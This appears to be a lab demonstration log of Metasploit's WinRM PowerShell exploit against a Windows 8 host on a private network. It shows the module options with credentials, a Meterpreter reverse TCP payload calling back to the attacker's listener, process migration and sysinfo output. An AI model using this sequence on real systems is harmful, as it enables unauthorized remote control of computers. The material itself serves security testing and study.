msf  exploit(winrm_powershell) > show options

Module options (exploit/windows/winrm/winrm_powershell):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   DOMAIN    WORKSTATION      yes       The domain to use for Windows authentification
   PASSWORD  omfg             no        A specific password to authenticate with
   Proxies                    no        Use a proxy chain
   RHOST     10.6.255.158     yes       The target address
   RPORT     5985             yes       The target port
   URI       /wsman           yes       The URI of the WinRM service
   USERNAME  sinn3r           no        A specific username to authenticate as
   VHOST                      no        HTTP server virtual host


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique: seh, thread, process, none
   LHOST     10.6.255.84      yes       The listen address
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf  exploit(winrm_powershell) > rexploit
[*] Reloading module...

[*] Started reverse handler on 10.6.255.84:4444
[*] Attempting to set Execution Policy
[*] Grabbing %TEMP%
[*] uploading powershell script to C:\Users\sinn3r\AppData\Local\Temp\uUIpRDrz.ps1
[*] Attempting to execute script...
[*] Sending stage (752128 bytes) to 10.6.255.158
[*] Meterpreter session 1 opened (10.6.255.84:4444 -> 10.6.255.158:49535) at 2012-10-31 17:09:00 -0500

meterpreter >
[*] Session ID 1 (10.6.255.84:4444 -> 10.6.255.158:49535) processing InitialAutoRunScript 'post/windows/manage/smart_migrate'
[*] Current server process: powershell.exe (2844)
[+] Migrating to 696
[+] Successfully migrated to process

meterpreter > sysinfo
Computer        : WIN-VFQHRRTCA39
OS              : Windows 8 (Build 9200).
Architecture    : x86
System Language : en_US
Meterpreter     : x86/win32
meterpreter >